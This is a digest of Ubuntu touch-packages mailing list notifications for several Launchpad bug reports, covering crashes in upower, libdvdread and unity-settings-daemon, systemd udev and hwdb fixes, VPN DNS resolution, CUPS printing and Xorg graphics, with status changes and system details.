[Touch-packages] [Bug 1546641] Re: unity-settings-daemon crashed with SIGSEGV in up_exported_daemon_get_lid_is_closed()
I installed a new kernel (version 4.8). It seems to solve this problem. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to upower in Ubuntu. https://bugs.launchpad.net/bugs/1546641 Title: unity-settings-daemon crashed with SIGSEGV in up_exported_daemon_get_lid_is_closed() Status in Upower: Unknown Status in unity-settings-daemon package in Ubuntu: Triaged Status in upower package in Ubuntu: Fix Released Status in unity-settings-daemon source package in Xenial: Triaged Status in upower source package in Xenial: Confirmed Status in unity-settings-daemon source package in Yakkety: Triaged Status in upower source package in Yakkety: Fix Released Bug description: https://errors.ubuntu.com/problem/8ca9c548fc4e2fc1d4bf827bbd85c72df59313f8 Ubuntu 16.04 crashes immediately on login. Default settings not applied and appearance is a bit ugly (incorrect font hinting, in- window menus etc). SRU TEST CASE (upower) -- On affected machines, unity-settings-daemon crashes immediately on login, as due to a kernel bug upowerd takes a very long time to start. With the fixed package the crash is fixed. Power status information will still be wrong, but at least theme, hotkeys, and all other unity-settings-daemon functionality will work. This can be synthetically tested with: DBUS_SYSTEM_BUS_ADDRESS=foo upower --dump With the current xenial version this causes a segfault, while with the fix you get a proper error message. Fix: https://cgit.freedesktop.org/upower/commit/?id=932a6a39e3 https://cgit.freedesktop.org/upower/commit/?id=4e83fabac (The second one is not crucial, but provides a much better failure mode for the "upower" CLI tool). Regression potential: This changes the core behaviour of libupower. The patch is carefully written to be backwards compatible to the extent possible, but changing the behaviour is necessary to fix this bug (see commit log for details). Thus clients such as unity-control- center, unity-settings-daemon, or mate-power-manager should be tested as part of the verification. --- ProblemType: Crash DistroRelease: Ubuntu 16.04 ProcVersionSignature: Ubuntu 4.4.0-6.21-generic 4.4.1 Uname: Linux 4.4.0-6-generic x86_64 ApportVersion: 2.20-0ubuntu3 Architecture: amd64 CrashCounter: 1 Date: Wed Feb 17 13:52:13 2016 ExecutablePath: /usr/lib/unity-settings-daemon/unity-settings-daemon InstallationDate: Installed on 2016-02-08 (8 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160205) ProcCmdline: /usr/lib/unity-settings-daemon/unity-settings-daemon ProcEnviron: LANGUAGE=pt_BR:pt:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=pt_BR.UTF-8 SHELL=/bin/false SegvAnalysis: Segfault happened at: 0x3aae60fe69 : mov(%rbx),%rdi PC (0x3aae60fe69) ok source "(%rbx)" (0x) not located in a known VMA region (needed readable region)! destination "%rdi" ok SegvReason: reading NULL VMA Signal: 11 SourcePackage: unity-settings-daemon StacktraceTop: up_exported_daemon_get_lid_is_closed () from /usr/lib/x86_64-linux-gnu/libupower-glib.so.3 gsd_power_manager_start () from /usr/lib/unity-settings-daemon-1.0/libpower.so ?? () from /usr/lib/unity-settings-daemon-1.0/libpower.so gnome_settings_plugin_info_activate () ?? () Title: unity-settings-daemon crashed with SIGSEGV in up_exported_daemon_get_lid_is_closed() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: To manage notifications about this bug go to: https://bugs.launchpad.net/upower/+bug/1546641/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1642903] Re: introduce disk/by-id (model_serial) symlinks for NVMe drives
> [Regression Potential] > None. This is a vast underestimate -- touching udev rules can lead to an unbootable system in the worst case :-) I'll adjust the description. ** Also affects: systemd (Ubuntu Trusty) Importance: Undecided Status: New ** Also affects: systemd (Ubuntu Xenial) Importance: Undecided Status: New ** Also affects: systemd (Ubuntu Yakkety) Importance: Undecided Status: New ** Also affects: systemd (Ubuntu Zesty) Importance: Wishlist Status: New ** Changed in: systemd (Ubuntu Zesty) Status: New => Fix Released ** Description changed: [Impact] NVMe drives can't be identified/accessed via /dev/disk/by-id/nvme-SERIAL symlinks. [Test Case] On a system with an NVMe drive, check the /dev/disk/by-id/ directory; with the patch, it will contain link(s) named by the drive serial - number. + number. This should be the *only* change in `ls -l /dev/disk/*/*`. + + On a system without NVMe, verify that `ls -l /dev/disk/*/*` is identical + (aside from dates, of course) before and after the upgrade to the + -proposed version. [Regression Potential] - None. + Errors in udev rules can lead to an unbootable or otherwise completely + broken system if they unintentionally break or clobber existing + /dev/disks/ symlinks. [Other Info] This patch is already included upstream and in zesty systemd. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1642903 Title: introduce disk/by-id (model_serial) symlinks for NVMe drives Status in systemd package in Ubuntu: Fix Released Status in systemd source package in Trusty: New Status in systemd source package in Xenial: New Status in systemd source package in Yakkety: New Status in systemd source package in Zesty: Fix Released Bug description: [Impact] NVMe drives can't be identified/accessed via /dev/disk/by-id/nvme- SERIAL symlinks. [Test Case] On a system with an NVMe drive, check the /dev/disk/by-id/ directory; with the patch, it will contain link(s) named by the drive serial number. This should be the *only* change in `ls -l /dev/disk/*/*`. On a system without NVMe, verify that `ls -l /dev/disk/*/*` is identical (aside from dates, of course) before and after the upgrade to the -proposed version. [Regression Potential] Errors in udev rules can lead to an unbootable or otherwise completely broken system if they unintentionally break or clobber existing /dev/disks/ symlinks. [Other Info] This patch is already included upstream and in zesty systemd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1642903/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644098] Re: Network Manager + OpenVPN does not respond to DNS server change on second connection attempt
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: network-manager (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1644098 Title: Network Manager + OpenVPN does not respond to DNS server change on second connection attempt Status in network-manager package in Ubuntu: Confirmed Bug description: Scenario: Discovered on Kubuntu 16.10, upgraded from a fresh install of 16.04. While I only have the one computer to test with, the 16.10 is definitely relevant (I did not have this problem on 16.04) but I can't tell if the upgrade is part of it, (the upgrade may or may not be relevant). Have "full time" wired or wireless connection (does not matter which used) Part time OpenVPN connection set up via NetworkManager. Steps to reproduce 1. Fresh boot 2. ping a device on the VPN network (eg amachine.remotelan ) Result: "ping: amachine.remotelan: Name or service not known" 3. Connect to the VPN service via Network Manager. 4. ping amachine.remotelan - result: PING amachine.remotelan (192.168.68.44) 56(84) bytes of data. 64 bytes from amachine.remotelan (192.168.68.44): icmp_seq=1 ttl=127 time=7.75 ms 5. Disconnect from the VPN service again. ping result again "ping: amachine.remotelan: Name or service not known" 6. Reconnect to the VPN again, and ping again Observed: "ping: amachine.remotelan: Name or service not known" However "ping 192.168.68.44" responds successfully as expected Expected: PING ... 192.168 64 bytes from .. etc to the ping by name --- Further info I'm going to add in a subsequent comment. (just annotating syslog right now!) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1644098/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1642903] Re: introduce disk/by-id (model_serial) symlinks for NVMe drives
Applied to yakkety packaging branch, with some reformatting (gbp pq and using gbp dch): :https://anonscm.debian.org/cgit/pkg- systemd/systemd.git/commit/?h=ubuntu-yakkety&id=9b4f59ff766d36 ** Changed in: systemd (Ubuntu Yakkety) Importance: Undecided => Wishlist ** Changed in: systemd (Ubuntu Yakkety) Status: New => In Progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1642903 Title: introduce disk/by-id (model_serial) symlinks for NVMe drives Status in systemd package in Ubuntu: Fix Released Status in systemd source package in Trusty: New Status in systemd source package in Xenial: In Progress Status in systemd source package in Yakkety: In Progress Status in systemd source package in Zesty: Fix Released Bug description: [Impact] NVMe drives can't be identified/accessed via /dev/disk/by-id/nvme- SERIAL symlinks. [Test Case] On a system with an NVMe drive, check the /dev/disk/by-id/ directory; with the patch, it will contain link(s) named by the drive serial number. This should be the *only* change in `ls -l /dev/disk/*/*`. On a system without NVMe, verify that `ls -l /dev/disk/*/*` is identical (aside from dates, of course) before and after the upgrade to the -proposed version. [Regression Potential] Errors in udev rules can lead to an unbootable or otherwise completely broken system if they unintentionally break or clobber existing /dev/disks/ symlinks. [Other Info] This patch is already included upstream and in zesty systemd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1642903/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1642903] Re: introduce disk/by-id (model_serial) symlinks for NVMe drives
Applied to xenial packaging branch, with similar small noise: https://anonscm.debian.org/cgit/pkg-systemd/systemd.git/commit/?h =ubuntu-xenial&id=71a4b81ffc ** Changed in: systemd (Ubuntu Xenial) Status: New => In Progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1642903 Title: introduce disk/by-id (model_serial) symlinks for NVMe drives Status in systemd package in Ubuntu: Fix Released Status in systemd source package in Trusty: In Progress Status in systemd source package in Xenial: In Progress Status in systemd source package in Yakkety: In Progress Status in systemd source package in Zesty: Fix Released Bug description: [Impact] NVMe drives can't be identified/accessed via /dev/disk/by-id/nvme- SERIAL symlinks. [Test Case] On a system with an NVMe drive, check the /dev/disk/by-id/ directory; with the patch, it will contain link(s) named by the drive serial number. This should be the *only* change in `ls -l /dev/disk/*/*`. On a system without NVMe, verify that `ls -l /dev/disk/*/*` is identical (aside from dates, of course) before and after the upgrade to the -proposed version. [Regression Potential] Errors in udev rules can lead to an unbootable or otherwise completely broken system if they unintentionally break or clobber existing /dev/disks/ symlinks. [Other Info] This patch is already included upstream and in zesty systemd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1642903/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1642903] Re: introduce disk/by-id (model_serial) symlinks for NVMe drives
Comitted to trusty packaging git: https://git.launchpad.net/~ubuntu- core-dev/+git/systemd-trusty/commit/?id=482827 Note that there is a current SRU in trusty which blocks this. But this being "wishlist" it's not that urgent anyway, and my gut feeling is that it's okay to wait a bit until we get some more fixes queued up? ** Changed in: systemd (Ubuntu Trusty) Status: New => In Progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1642903 Title: introduce disk/by-id (model_serial) symlinks for NVMe drives Status in systemd package in Ubuntu: Fix Released Status in systemd source package in Trusty: In Progress Status in systemd source package in Xenial: In Progress Status in systemd source package in Yakkety: In Progress Status in systemd source package in Zesty: Fix Released Bug description: [Impact] NVMe drives can't be identified/accessed via /dev/disk/by-id/nvme- SERIAL symlinks. [Test Case] On a system with an NVMe drive, check the /dev/disk/by-id/ directory; with the patch, it will contain link(s) named by the drive serial number. This should be the *only* change in `ls -l /dev/disk/*/*`. On a system without NVMe, verify that `ls -l /dev/disk/*/*` is identical (aside from dates, of course) before and after the upgrade to the -proposed version. [Regression Potential] Errors in udev rules can lead to an unbootable or otherwise completely broken system if they unintentionally break or clobber existing /dev/disks/ symlinks. [Other Info] This patch is already included upstream and in zesty systemd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1642903/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1562344] Re: Not working hotkeys for brightness in HP ProBook 640 G2
** Also affects: systemd (Ubuntu Trusty) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1562344 Title: Not working hotkeys for brightness in HP ProBook 640 G2 Status in systemd package in Ubuntu: Fix Released Status in systemd source package in Trusty: New Bug description: Description = It seems like a new HP laptops are using new vendor string which brokes hotkeys. Workaround == Just to put following lines to fix hotkeys for brithness. evdev:atkbd:dmi:bvn*:bvr*:bd*:svnHP*:pn*:pvr* KEYBOARD_KEY_92=brightnessdown KEYBOARD_KEY_97=brightnessup Proposed solution === The issue was already solved by upstream systemd[1] developers 25 days ago, so resync of hwdb/60-keyboard.hwdb should be enough. [1]: commit 325de0ac23596209c252ebcc934dd5f5926fe2b6 ProblemType: Bug DistroRelease: Ubuntu 15.10 Package: systemd 225-1ubuntu9.1 ProcVersionSignature: Ubuntu 4.2.0-34.39-generic 4.2.8-ckt4 Uname: Linux 4.2.0-34-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.19.1-0ubuntu5 Architecture: amd64 CurrentDesktop: Unity Date: Sat Mar 26 17:20:25 2016 InstallationDate: Installed on 2016-02-25 (30 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 04ca:7053 Lite-On Technology Corp. Bus 001 Device 002: ID 0a5c:640b Broadcom Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: HP HP ProBook 640 G2 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.2.0-34-generic root=UUID=4bccba3c-0c3c-430f-bfef-b033d9fcd45c ro cryptopts=target=root,source=/dev/disk/by-uuid/9108c404-6977-4914-afd8-40b3e8824d30 quiet splash vt.handoff=7 SourcePackage: systemd UdevLog: Error: [Errno 2] No such file or directory: '/var/log/udev' UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/07/2015 dmi.bios.vendor: HP dmi.bios.version: N76 Ver. 01.00 dmi.board.name: 80FD dmi.board.vendor: HP dmi.board.version: KBC Version 22.36 dmi.chassis.asset.tag: 5CG605253R dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.modalias: dmi:bvnHP:bvrN76Ver.01.00:bd12/07/2015:svnHP:pnHPProBook640G2:pvr:rvnHP:rn80FD:rvrKBCVersion22.36:cvnHP:ct10:cvr: dmi.product.name: HP ProBook 640 G2 dmi.sys.vendor: HP To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1562344/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644121] [NEW] Ubuntu14.04 does not print PDF files with 'lpr'
You have been subscribed to a public bug: [Description of the Problem] When using "lpr" to print a PDF file which size is more than 70KB to the Ricoh SP C320, the job will be canceled and a blank paper is printed by the printer. [How reproducible] 100% [Environment for reproduce] OS: Ubuntu 14.04 Package: cups 1.7.2-0ubuntu1.2 ProcVersionSignature: Ubuntu 3.13.0-45.74-generic 3.13.11-ckt13 Uname: Linux 3.13.0-45-generic i686 [Supplements] 1.When using "lpr" to print a PDF file which size is less than 70KB to the same printer, the printer will complete the job normally and no error occurs. 2.When using Document Viewer(Evince) to print the same PDF file to the same printer, the printer will complete the job normally and no error occurs. 3.When using "lpr" to print the same PDF file to HP Color LaserJet 5550 printer, the same problem occurs. [Attach] I attached a compressed package "Use for Reproduce.zip". The following PDF files in it. The "Problem_occurs.pdf" could not be printed using "lpr". The "No_Problem.pdf" could be printed normally using "lpr". ** Affects: cups (Ubuntu) Importance: Undecided Status: New -- Ubuntu14.04 does not print PDF files with 'lpr' https://bugs.launchpad.net/bugs/1644121 You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644134] [NEW] segfault in ifoFree_PGC
Public bug reported: I have a DVD backup. If I open with a player or lsdvd I get the following messages and the application terminates with a segmentation fault. I installed the libdvdread4-dbg package and started the application with gdb to get the last (hopefully helpful) message about ifoFree_PGC: *** Zero check failed in src/ifo_read.c:894 for pgc->subp_control[i] = 0x6d6f7266 *** Zero check failed in src/ifo_read.c:894 for pgc->subp_control[i] = 0x65687420 *** Zero check failed in src/ifo_read.c:898 for pgc->still_time = 0x2e *** Zero check failed in src/ifo_read.c:899 for pgc->pg_playback_mode = 0x0a *** libdvdread: CHECK_VALUE failed in src/ifo_read.c:900 *** *** for pgc->program_map_offset == 0 *** Program received signal SIGSEGV, Segmentation fault. ifoFree_PGC (pgc=0x8) at src/ifo_read.c:994 994 src/ifo_read.c: No such file or directory. Used with Ubuntu and libdvdread4:amd64 5.0.3-1 ** Affects: libdvdread (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libdvdread in Ubuntu. https://bugs.launchpad.net/bugs/1644134 Title: segfault in ifoFree_PGC Status in libdvdread package in Ubuntu: New Bug description: I have a DVD backup. If I open with a player or lsdvd I get the following messages and the application terminates with a segmentation fault. I installed the libdvdread4-dbg package and started the application with gdb to get the last (hopefully helpful) message about ifoFree_PGC: *** Zero check failed in src/ifo_read.c:894 for pgc->subp_control[i] = 0x6d6f7266 *** Zero check failed in src/ifo_read.c:894 for pgc->subp_control[i] = 0x65687420 *** Zero check failed in src/ifo_read.c:898 for pgc->still_time = 0x2e *** Zero check failed in src/ifo_read.c:899 for pgc->pg_playback_mode = 0x0a *** libdvdread: CHECK_VALUE failed in src/ifo_read.c:900 *** *** for pgc->program_map_offset == 0 *** Program received signal SIGSEGV, Segmentation fault. ifoFree_PGC (pgc=0x8) at src/ifo_read.c:994 994 src/ifo_read.c: No such file or directory. Used with Ubuntu and libdvdread4:amd64 5.0.3-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libdvdread/+bug/1644134/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644121] Re: Ubuntu14.04 does not print PDF files with 'lpr'
Not a problem with the documentation ** Package changed: ubuntu-docs (Ubuntu) => cups (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/1644121 Title: Ubuntu14.04 does not print PDF files with 'lpr' Status in cups package in Ubuntu: New Bug description: [Description of the Problem] When using "lpr" to print a PDF file which size is more than 70KB to the Ricoh SP C320, the job will be canceled and a blank paper is printed by the printer. [How reproducible] 100% [Environment for reproduce] OS: Ubuntu 14.04 Package: cups 1.7.2-0ubuntu1.2 ProcVersionSignature: Ubuntu 3.13.0-45.74-generic 3.13.11-ckt13 Uname: Linux 3.13.0-45-generic i686 [Supplements] 1.When using "lpr" to print a PDF file which size is less than 70KB to the same printer, the printer will complete the job normally and no error occurs. 2.When using Document Viewer(Evince) to print the same PDF file to the same printer, the printer will complete the job normally and no error occurs. 3.When using "lpr" to print the same PDF file to HP Color LaserJet 5550 printer, the same problem occurs. [Attach] I attached a compressed package "Use for Reproduce.zip". The following PDF files in it. The "Problem_occurs.pdf" could not be printed using "lpr". The "No_Problem.pdf" could be printed normally using "lpr". To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1644121/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644086] Re: lots of errors
Thank you for taking the time to report this bug and helping to make Ubuntu better. Unfortunately, we cannot work on this bug because your description didn't include enough information. You may find it helpful to read "How to report bugs effectively" http://www.chiark.greenend.org.uk/~sgtatham/bugs.html. We'd be grateful if you would then provide a more complete description of the problem. We have instructions on debugging some types of problems at http://wiki.ubuntu.com/DebuggingProcedures. At a minimum, we need: 1. The specific steps or actions you took that caused you to encounter the problem. 2. The behavior you expected. 3. The behavior you actually encountered (in as much detail as possible). Please also change the title of the bug to something more meaningful. Thanks! ** Changed in: xorg (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1644086 Title: lots of errors Status in xorg package in Ubuntu: Incomplete Bug description: need to figure this out ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 ProcVersionSignature: Ubuntu 4.4.0-47.68-generic 4.4.24 Uname: Linux 4.4.0-47-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Wed Nov 23 00:12:22 2016 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Mullins [Radeon R4/R5 Graphics] [1002:9851] (rev 45) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Mullins [Radeon R4/R5 Graphics] [103c:8015] InstallationDate: Installed on 2016-11-16 (7 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) MachineType: HP HP 15 Notebook PC ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-47-generic.efi.signed root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/07/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F.34 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: 8015 dmi.board.vendor: HP dmi.board.version: 11.27 dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF.34:bd12/07/2015:svnHP:pnHP15NotebookPC:pvr:rvnHP:rn8015:rvr11.27:cvnHP:ct10:cvrChassisVersion: dmi.product.name: HP 15 Notebook PC dmi.sys.vendor: HP version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.67-1ubuntu0.16.04.2 version.libgl1-mesa-dri: libgl1-mesa-dri 11.2.0-1ubuntu2.2 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 11.2.0-1ubuntu2.2 version.xserver-xorg-core: xserver-xorg-core 2:1.18.4-0ubuntu0.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.1-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.7.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20160325-1ubuntu1.1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.12-1build2 xserver.bootTime: Tue Nov 22 18:29:55 2016 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.18.4-0ubuntu0.2 xserver.video_driver: radeon To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1644086/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1562344] Re: Not working hotkeys for brightness in HP ProBook 640 G2
Massaged a bit and pushed to trusty packaging branch: https://git.launchpad.net/~ubuntu-core-dev/+git/systemd- trusty/commit/?id=9577cf48 ** Changed in: systemd (Ubuntu Trusty) Status: New => In Progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1562344 Title: Not working hotkeys for brightness in HP ProBook 640 G2 Status in systemd package in Ubuntu: Fix Released Status in systemd source package in Trusty: In Progress Bug description: Description = It seems like a new HP laptops are using new vendor string which brokes hotkeys. Workaround == Just to put following lines to fix hotkeys for brithness. evdev:atkbd:dmi:bvn*:bvr*:bd*:svnHP*:pn*:pvr* KEYBOARD_KEY_92=brightnessdown KEYBOARD_KEY_97=brightnessup Proposed solution === The issue was already solved by upstream systemd[1] developers 25 days ago, so resync of hwdb/60-keyboard.hwdb should be enough. [1]: commit 325de0ac23596209c252ebcc934dd5f5926fe2b6 ProblemType: Bug DistroRelease: Ubuntu 15.10 Package: systemd 225-1ubuntu9.1 ProcVersionSignature: Ubuntu 4.2.0-34.39-generic 4.2.8-ckt4 Uname: Linux 4.2.0-34-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.19.1-0ubuntu5 Architecture: amd64 CurrentDesktop: Unity Date: Sat Mar 26 17:20:25 2016 InstallationDate: Installed on 2016-02-25 (30 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 04ca:7053 Lite-On Technology Corp. Bus 001 Device 002: ID 0a5c:640b Broadcom Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: HP HP ProBook 640 G2 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.2.0-34-generic root=UUID=4bccba3c-0c3c-430f-bfef-b033d9fcd45c ro cryptopts=target=root,source=/dev/disk/by-uuid/9108c404-6977-4914-afd8-40b3e8824d30 quiet splash vt.handoff=7 SourcePackage: systemd UdevLog: Error: [Errno 2] No such file or directory: '/var/log/udev' UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/07/2015 dmi.bios.vendor: HP dmi.bios.version: N76 Ver. 01.00 dmi.board.name: 80FD dmi.board.vendor: HP dmi.board.version: KBC Version 22.36 dmi.chassis.asset.tag: 5CG605253R dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.modalias: dmi:bvnHP:bvrN76Ver.01.00:bd12/07/2015:svnHP:pnHPProBook640G2:pvr:rvnHP:rn80FD:rvrKBCVersion22.36:cvnHP:ct10:cvr: dmi.product.name: HP ProBook 640 G2 dmi.sys.vendor: HP To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1562344/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644142] [NEW] Intel graphocs card error
Public bug reported: Dont recognize webGL ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 ProcVersionSignature: Ubuntu 4.4.0-47.68-generic 4.4.24 Uname: Linux 4.4.0-47-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Wed Nov 23 10:17:39 2016 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu DkmsStatus: vboxhost, 5.0.20, 4.4.0-45-generic, x86_64: installed vboxhost, 5.0.20, 4.4.0-47-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell 3rd Gen Core processor Graphics Controller [1028:053d] InstallationDate: Installed on 2016-05-20 (186 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) MachineType: Dell Inc. Latitude E5530 non-vPro ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-47-generic root=UUID=37d61e6c-8d00-479b-8749-77e82d82d95f ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/08/2012 dmi.bios.vendor: Dell Inc. dmi.bios.version: A07 dmi.board.name: 05GRXT dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvrA07:bd10/08/2012:svnDellInc.:pnLatitudeE5530non-vPro:pvr01:rvnDellInc.:rn05GRXT:rvrA00:cvnDellInc.:ct9:cvr: dmi.product.name: Latitude E5530 non-vPro dmi.product.version: 01 dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.67-1ubuntu0.16.04.2 version.libgl1-mesa-dri: libgl1-mesa-dri 11.2.0-1ubuntu2.2 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 